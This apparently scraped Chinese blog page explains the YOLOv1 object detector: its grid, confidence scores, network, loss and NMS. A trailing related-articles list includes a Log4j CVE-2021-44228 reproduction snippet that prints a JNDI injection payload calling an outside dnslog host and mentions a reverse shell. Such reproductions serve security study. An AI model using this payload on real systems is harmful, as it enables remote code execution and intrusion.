目标检测 | yolov1 原理和介绍

news2024/11/13 12:28:54

简介

论文链接:https://arxiv.org/abs/1506.02640
时间:2015年
作者:Joseph Redmon
代码参考:https://github.com/abeardear/pytorch-YOLO-v1

 yolo属于one-stage算法,仅仅使用一个CNN网络直接预测不同目标的类别与位置,提供end-to-end的预测,该类算法是速度快,但是准确性要低(two-stage,需要先使用启发式方法(selective search)或者CNN网络(RPN)产生Region Proposal[区域方案],然后再在Region Proposal上做分类与回归。相当于粗略检测,再细致检测)
 yolo算法很好的解决了滑动窗口这个问题,它不再是窗口滑动了,而是直接将原始图片分割成互不重合的小方块,然后通过卷积最后生产这样大小的特征图,基于上面的分析,可以认为特征图的每个元素也是对应原始图片的一个小方块,然后用每个元素来可以预测那些中心点在该小方格内的目标,这就是Yolo算法的朴素思想。

设计理念

 Yolo算法采用一个单独的CNN模型实现end-to-end的目标检测,整个系统如图所示:首先将输入图片resize到448x448,然后送入CNN网络,最后处理网络预测结果得到检测的目标。相比R-CNN算法,其是一个统一的框架,其速度更快,而且Yolo的训练过程也是end-to-end的
在这里插入图片描述
 具体来说,Yolo的CNN网络将输入的图片分割成 SS 网格,然后每个单元格负责去检测那些中心点落在该格子内的目标,如图6所示,可以看到狗这个目标的中心落在左下角一个单元格内,那么该单元格负责预测这个狗。每个单元格会预测 B 个边界框(bounding box)以及边界框的置信度(confidence score)。所谓置信度其实包含两个方面,一是这个边界框含有目标的可能性大小,二是这个边界框的准确度。前者记为 Pr(object) ,当该边界框是背景时(即不包含目标),此时 Pr(object)=0 。而当该边界框包含目标时,Pr(object)=1 。边界框的准确度可以用预测框与实际框(ground truth)的IOU(intersection over union,交并比)来表征,记为 IOU 。因此置信度可以定义为 Pr(object)IOU 。很多人可能将Yolo的置信度看成边界框是否含有目标的概率,但是其实它是两个因子的乘积,预测框的准确度也反映在里面。边界框的大小与位置可以用4个值来表征: (x,y,w,h) ,其中 (x,y) 是边界框的中心坐标,而 w 和 h 是边界框的宽与高。还有一点要注意,中心坐标的预测值 (x,y) 是相对于每个单元格左上角坐标点的偏移值,并且单位是相对于单元格大小的,单元格的坐标定义如图6所示。而边界框的 w 和 h 预测值是相对于整个图片的宽与高的比例,这样理论上4个元素的大小应该在 [0,1] 范围。这样,每个边界框的预测值实际上包含5个元素: (x,y,w,h) ,其中前4个表征边界框的大小与位置,而最后一个值是置信度。
在这里插入图片描述
 还有分类问题,对于每一个单元格其还要给出预测出 C 个类别概率值,其表征的是由该单元格负责预测的边界框其目标属于各个类别的概率。但是这些概率值其实是在各个边界框置信度下的条件概率,即 Pr(classi|object) 。值得注意的是,不管一个单元格预测多少个边界框,其只预测一组类别概率值,这是Yolo算法的一个缺点,在后来的改进版本中,Yolo9000是把类别概率预测值与边界框是绑定在一起的。同时,我们可以计算出各个边界框类别置信度(class-specific confidence scores):
Pr ⁡ (  class  i ∣ o b j e c t ) ∗ Pr ⁡ (  object  ) ∗ I O U pred  truth  = Pr ⁡ (  class  i ) ∗ I O U pred  truth  \operatorname{Pr}\left(\text { class }_i \mid o b j e c t\right) * \operatorname{Pr}(\text { object }) * \mathrm{IOU}_{\text {pred }}^{\text {truth }}=\operatorname{Pr}\left(\text { class }_i\right) * \mathrm{IOU}_{\text {pred }}^{\text {truth }} Pr( class iobject)Pr( object )IOUpred truth =Pr( class i)IOUpred truth 
边界框类别置信度表征的是该边界框中目标属于各个类别的可能性大小以及边界框匹配目标的好坏。后面会说,一般会根据类别置信度来过滤网络的预测框。
 总结一下,每个单元格需要预测 (B
5+C) 个值。如果将输入图片划分为 S
S 网格,那么最终预测值为 SS(B*5+C) 大小的张量。整个模型的预测值结构如下图所示。对于PASCAL VOC数据,其共有20个类别,如果使用 S=7,B=2 ,那么最终的预测结果就是 7x7x30 大小的张量。在下面的网络结构中我们会详细讲述每个单元格的预测值的分布位置。

网络

 Yolo采用卷积网络来提取特征,然后使用全连接层来得到预测值。网络结构参考GooLeNet模型,包含24个卷积层和2个全连接层,如图8所示。对于卷积层,主要使用1x1卷积来做channle reduction,然后紧跟3x3卷积。对于卷积层和全连接层,采用Leaky ReLU激活函数: max(0.1x, x) 。但是最后一层却采用线性激活函数。
在这里插入图片描述
 可以看到网络的最后输出为 7x7x30 大小的张量。这和前面的讨论是一致的。这个张量所代表的具体含义如图所示。对于每一个单元格,前20个元素是类别概率值,然后2个元素是边界框置信度,两者相乘可以得到类别置信度,最后8个元素是边界框的 (x,y,w,h) 。大家可能会感到奇怪,对于边界框为什么把置信度 c 和 (x,y,w,h) 都分开排列,而不是按照 (x,y,w,h,c) 这样排列,其实纯粹是为了计算方便,因为实际上这30个元素都是对应一个单元格,其排列是可以任意的。但是分离排布,可以方便地提取每一个部分。这里来解释一下,首先网络的预测值是一个二维张量 P ,其shape为 [batch, 7x7x30] 。采用切片,那么 P[:,0:7720] 就是类别概率部分,而 P[:,0:7720:77(20+2)]
是置信度部分,最后剩余部分 P[:,0:7720:] 是边界框的预测结果。这样,提取每个部分是非常方便的,这会方面后面的训练及预测时的计算。

训练

 在训练之前,先在ImageNet上进行了预训练,其预训练的分类模型采用图8中前20个卷积层,然后添加一个average-pool层和全连接层。预训练之后,在预训练得到的20层卷积层之上加上随机初始化的4个卷积层和2个全连接层。由于检测任务一般需要更高清的图片,所以将网络的输入从224x224增加到了448x448。
下面是训练损失函数的分析,Yolo算法将目标检测看成回归问题,所以采用的是均方差损失函数。但是对不同的部分采用了不同的权重值。首先区分定位误差和分类误差。对于定位误差,即边界框坐标预测误差,采用较大的权重 λ coord  = 5 \lambda_{\text {coord }}=5 λcoord =5 。然后其区分不包含目标的边界框与含有目标的边界框的置信度,对于前者,采用较小的权重值 λ noobj  = 0.5 \lambda_{\text {noobj }}=0.5 λnoobj =0.5 。其它权重值均设为1。然后采用均方误差,其同等对待大小不同的边界框,但是实际上较小的边界框的坐标误差应该要比较大的边界框要更敏感。为了保证这一点,将网络的边界框的宽与高预测改为对其平方根的预测,即预测值变为 ( x , y , w , h ) (x, y, \sqrt{w}, \sqrt{h}) (x,y,w ,h )

 另外一点时,由于每个单元格预测多个边界框。但是其对应类别只有一个。那么在训练时,如果该单元格内确实存在目标,那么只选择与ground truth的IOU最大的那个边界框来负责预测该目标,而其它边界框认为不存在目标。这样设置的一个结果将会使一个单元格对应的边界框更加专业化,其可以分别适用不同大小,不同高宽比的目标,从而提升模型性能。大家可能会想如果一个单元格内存在多个目标怎么办,其实这时候Yolo算法就只能选择其中一个来训练,这也是Yolo算法的缺点之一。要注意的一点时,对于不存在对应目标的边界框,其误差项就是只有置信度,坐标项误差是没法计算的。而只有当一个单元格内确实存在目标时,才计算分类误差项,否则该项也是无法计算的。
综上讨论,最终的损失函数计算如下:
在这里插入图片描述
 其中第一项是边界框中心坐标的误差项, 1 i j o b j 1_{i j}^{o b j} 1ijobj 指的是第 i 个单元格存在目标,且该单元格中的第 j 个边界框负责预测该目标。第二项是边界框的高与宽的误差项。第三项是包含目标的边界框的置信度误差项。第四项是不包含目标的边界框的置信度误差项。而最后一项是包含目标的单元格的分类误差项, 1 i o b j 1_{i }^{o b j} 1iobj 指的是第 i 个单元格存在目标。这里特别说一下置信度的target值 C i C_i Ci ,如果是不存在目标,此时由于 Pr ⁡ ( \operatorname{Pr}( Pr( object ) = 0 )=0 )=0,那么 C i = 0 C_i=0 Ci=0 。如果存在目标, Pr ⁡ ( \operatorname{Pr}( Pr( object ) = 1 )=1 )=1 ,此时需要确定 I O U pred  truth  \mathrm{IOU}_{\text {pred }}^{\text {truth }} IOUpred truth  ,当然你希望最好的话,可以将IOU取1,这样 C i = 1 C_i=1 Ci=1 ,但是在YOLO实现中,使用了一个控制参数rescore(默认为1),当其为1时,IOU不是设置为1,而就是计算truth和pred之间的真实IOU。不过很多复现YOLO的项目还是取 C i = 0 C_i=0 Ci=0 ,这个差异应该不会太影响结果吧。

预测

 下面就来分析Yolo的预测过程,这里我们不考虑batch,认为只是预测一张输入图片。根据前面的分析,最终的网络输出是 7x7x30 ,但是我们可以将其分割成三个部分:类别概率部分为 [7,7,20] ,置信度部分为 [7,7,2] ,而边界框部分为 [7,7,2,4] (对于这部分不要忘记根据原始图片计算出其真实值)。然后将前两项相乘(矩阵 [7,7,20] 乘以 [7,7,2] 可以各补一个维度来完成 [7,7,1,20]x[7,7,2,1] )可以得到类别置信度值为 [7,7,2,20] ,这里总共预测了 7x7x2=98 个边界框。

 所有的准备数据已经得到了,那么我们先说第一种策略来得到检测框的结果,我认为这是最正常与自然的处理。首先,对于每个预测框根据类别置信度选取置信度最大的那个类别作为其预测标签,经过这层处理我们得到各个预测框的预测类别及对应的置信度值,其大小都是 [7,7,2] 。一般情况下,会设置置信度阈值,就是将置信度小于该阈值的box过滤掉,所以经过这层处理,剩余的是置信度比较高的预测框。最后再对这些预测框使用NMS算法,最后留下来的就是检测结果。一个值得注意的点是NMS是对所有预测框一视同仁,还是区分每个类别,分别使用NMS。Ng在deeplearning.ai中讲应该区分每个类别分别使用NMS,但是看了很多实现,其实还是同等对待所有的框,我觉得可能是不同类别的目标出现在相同位置这种概率很低吧。

 上面的预测方法应该非常简单明了,但是对于Yolo算法,其却采用了另外一个不同的处理思路(至少从C源码看是这样的),其区别就是先使用NMS,然后再确定各个box的类别。其基本过程如图12所示。对于98个boxes,首先将小于置信度阈值的值归0,然后分类别地对置信度值采用NMS,这里NMS处理结果不是剔除,而是将其置信度值归为0。最后才是确定各个box的类别,当其置信度值不为0时才做出检测结果输出。这个策略不是很直接,但是貌似Yolo源码就是这样做的。Yolo论文里面说NMS算法对Yolo的性能是影响很大的,所以可能这种策略对Yolo更好。但是我测试了普通的图片检测,两种策略结果是一样的。

性能分析

 这里看一下Yolo算法在PASCAL VOC 2007数据集上的性能,这里Yolo与其它检测算法做了对比,包括DPM,R-CNN,Fast R-CNN以及Faster R-CNN。其对比结果如表1所示。与实时性检测方法DPM对比,可以看到Yolo算法可以在较高的mAP上达到较快的检测速度,其中Fast Yolo算法比快速DPM还快,而且mAP是远高于DPM。但是相比Faster R-CNN,Yolo的mAP稍低,但是速度更快。所以。Yolo算法算是在速度与准确度上做了折中。
在这里插入图片描述
为了进一步分析Yolo算法,文章还做了误差分析,将预测结果按照分类与定位准确性分成以下5类:

  • Correct:类别正确,IOU>0.5;(准确度)
  • Localization:类别正确,0.1 < IOU<0.5(定位不准);
  • Similar:类别相似,IOU>0.1;
  • Other:类别错误,IOU>0.1;
  • Background:对任何目标其IOU<0.1。(误把背景当物体)
    Yolo与Fast R-CNN的误差对比分析如下图所示:
    在这里插入图片描述

 可以看到,Yolo的Correct的是低于Fast R-CNN。另外Yolo的Localization误差偏高,即定位不是很准确。但是Yolo的Background误差很低,说明其对背景的误判率较低。Yolo的那篇文章中还有更多性能对比,感兴趣可以看看。

优缺点

 现在来总结一下Yolo的优缺点。首先是优点,Yolo采用一个CNN网络来实现检测,是单管道策略,其训练与预测都是end-to-end,所以Yolo算法比较简洁且速度快。第二点由于Yolo是对整张图片做卷积,所以其在检测目标有更大的视野,它不容易对背景误判。其实我觉得全连接层也是对这个有贡献的,因为全连接起到了attention的作用。另外,Yolo的泛化能力强,在做迁移时,模型鲁棒性高。

 最后不得不谈一下Yolo的缺点,首先Yolo各个单元格仅仅预测两个边界框,而且属于一个类别。对于小物体,Yolo的表现会不如人意。这方面的改进可以看SSD,其采用多尺度单元格。也可以看Faster R-CNN,其采用了anchor boxes。Yolo对于在物体的宽高比方面泛化率低,就是无法定位不寻常比例的物体。当然Yolo的定位不准确也是很大的问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1967547.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Transformer 会彻底改变时间序列预测吗?

欢迎来到雲闪世界。“生成式人工智能革命”的核心是谷歌于 2017 年推出的 Transformer 模型。 但每一次技术革命都会带来混乱。在快速增长的环境中&#xff0c;很难公正地评估创新——更不用说估计其影响了。 开启人工智能这一突破的Transformer模型&#xff0c;如今已成为一…

【Linux】文件描述符 fd

目录 一、C语言文件操作 1.1 fopen和fclose 1.2 fwrite和fread 1.3 C语言中的输入输出流 二、Linux的文件系统调用 2.1 open和文件描述符 2.2 close 2.3 read 2.4 write 三、Linux内核数据结构与文件描述符 一、C语言文件操作 在C语言中我们想要打开一个文件并对其进…

精进日常:每日练习与明智取舍的艺术

目录 题目1.对于非运行时异常&#xff0c;程序中一般可不做处理&#xff0c;由java虚拟机自动进行处理。2.下面哪个关键字可以用于Java的构造方法上&#xff1f;3.以下代码执行的结果显示是多少&#xff08; &#xff09;&#xff1f;注解总结 题目 选自牛客网 1.对于非运行时…

GCC编译:静态链接库与动态链接库

&#xff01; GCC 编译 C(C)静态链接库&#xff08;gcc -L、gcc -l&#xff09;和动态链接库&#xff08;gcc -fPIC -shared&#xff09;的创建和使用_fpic shared-CSDN博客https://blog.csdn.net/wohu1104/article/details/110789570静态链接库&#xff1a; 在 Linux 发行版…

JDFrame 一款比 Java 8 Stream 更灵活的数据处理工具

一、JDFrame 介绍 在大数据处理领域&#xff0c;Apache Spark以其强大的分布式计算能力和丰富的数据处理API而广受好评。然而&#xff0c;在许多日常的软件开发场景中&#xff0c;我们面临的数据量可能并不需要Spark这样的分布式系统来处理。相反&#xff0c;我们更希望有一种…

聊聊ChatGLM2-6B模型的微调

概述 GLM、ChatGLM的相关基础知识说明&#xff1a; GLM模型底层还是基于Transformer&#xff0c;因此其设计、优化都是围绕Transformer的各个组件的。从注意力层的掩码、位置编码等方面优化与设计。ChatGLM3/ChatGLM2的源码中&#xff0c;比如finetune、trainer等代码&#x…

看不见的硝烟:中国网络安全三十年沉浮史

昆仑侠 锦缎 2022 年 05 月 20 日 本文系基于公开资料撰写&#xff0c;仅作为信息交流之用&#xff0c;不构成任何投资建议。 2022 年 5 月 16 日&#xff0c;俄罗斯黑客组织 KillNet 向包括美国、英国、德国在内 10 个国家的政府正式 “宣战”。 2022 年 4 月 28 日&#xf…

vue如何在组件中监听路由参数的变化

使用 watch 监听 $route 对象 的变化&#xff0c;从而捕捉路由参数的变化 beforeRouteUpdate 导航守卫 当前组件路由更新时调用 beforeRouteUpdate 钩子只在组件被复用时调用&#xff0c;即当组件实例仍然存在时。如果组件是完全重新创建的&#xff0c;那么应该使用 beforeR…

GD 32 滤波算法

GD32硬件滤波算法 程序代码&#xff1a; #include <stdint.h> #include <stdio.h> #include "gd32f30x.h" #include "delay.h"static void GpioInit(void) {rcu_periph_clock_enable(RCU_GPIOC);gpio_init(GPIOC, GPIO_MODE_AIN, GPIO_OSPEED_…

log4j2远程执行代码CVE-2021-44228复现

一.访问网址 发现 /solr/admin/cores?action参数 可以上传 如下图 步骤二 在dnslog平台上来监控我们注入的效果 上传参数 solr/admin/cores?action${jndi:ldap://${sys:java.version}.jxmxiy.dnslog.cn 获得java版本号 查看他的回显 开始准备反弹shell 下载JDNI&#xff0c…

编程语言 | C | 代码整理 | 4月

八月拍了拍你&#xff0c;并对你说&#xff1a;“好运就要开始了”&#xff01; 目录 编程语言 | C | 代码整理 | 4月2019/4/12019/4/22019/4/22019/4/32019/4/42019/4/52019/4/62019/4/72019/4/82019/4/92019/4/102019/4/112019/4/122019/4/132019/4/142019/4/152019/4/162019…

【简历】武汉某985大学:前端简历指导,拿offer可能性低

注&#xff1a;为保证用户信息安全&#xff0c;姓名和学校等信息已经进行同层次变更&#xff0c;内容部分细节也进行了部分隐藏 简历说明 这是一份985武汉某大学25届的前端简历&#xff0c;那么985面向的肯定是大厂的层次&#xff0c;但是作为前端简历&#xff0c;学校部分&a…

Jenkins的安装方式

一、Jenkins是什么 Jenkins是一款开源CI&CD软件&#xff0c;用于自动化构建、测试和部署软件等各种任务&#xff0c;以实现持续集成。 Jenkins支持各种运行方式&#xff0c;可通过系统包、Docker或者通过一个独立的Java程序。 二、安装方式 2.1禅道智能应用平台一键安装…

区间预测 | 光伏出力的区间预测(Matlab)

区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09; 目录 区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09;效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.适用于matlab2020及以上。可任意选择置信区间&#xff0c;区间覆盖率picp、区间平均…

入门Pandas必练习100题基础到进阶|阶级教程2

作者:郭震 51. How to get the row number of the nth largest value in a column? Find the row position of the 5th largest value of column a in df. # input df pd.DataFrame(np.random.randint(1, 30, 30).reshape(10,-1), columnslist(abc)) df# Solution 1# argsort…

Modelsim仿真Vivado IP核报错

问题 VIVADO版本为2017.2&#xff0c;Modelsim版本为10.7c 在vivado中调用modelsim仿真&#xff0c;出现报错“Module GND is not defined.”&#xff0c;“Module LUT4 is not defined.”等等一大堆&#xff0c;所有的IP核都是这样的报错。 由于问题已经解决了所以我没有报…

基于Flask的出租车、GPS轨迹数据分析可视化系统

文章目录 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主项目介绍技术路线内容介绍数据预处理系统界面可视化展示每文一语 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主 项目介绍 针对杭州市出租车GPS数据的分析&…

万虹商城电影售票系统设计与实现

1 项目介绍 1.1 摘要 在如今高速发展的社会&#xff0c;电影产业蓬勃发展&#xff0c;人们对电影的需求日益增加&#xff0c;导致电影售票系统需要更加高效、便捷地满足观众的购票需求。传统的电影售票方式伴随着一系列的问题&#xff0c;排队购票现象是最为突出和普遍的现象…

拥抱简约之美,浦东TOP5装修公司打造现代风尚空间

在浦东地区&#xff0c;现代简约风格因其清新、实用的特点而深受居民喜爱。以下是五大装修公司&#xff0c;它们专注于打造现代风尚的居住空间&#xff1a; 1&#xff0e;即住空间装饰 设计理念&#xff1a;即住空间装饰以"高效、省心、精工"为核心理念&#xff0c…

【LeetCode每日一题】长度最小的子数组

【LeetCode每日一题】长度最小的子数组 标签: 二分&#xff0c;前缀和&#xff0c;滑动窗口&#xff0c;双指针 前缀和&二分 target要大于等于子数组nums[l]到nums[r]这段连续区间的和&#xff0c;因此想到用前缀和sums[r]-sums[l-1]可以快速求得区间和。 如何寻找targ…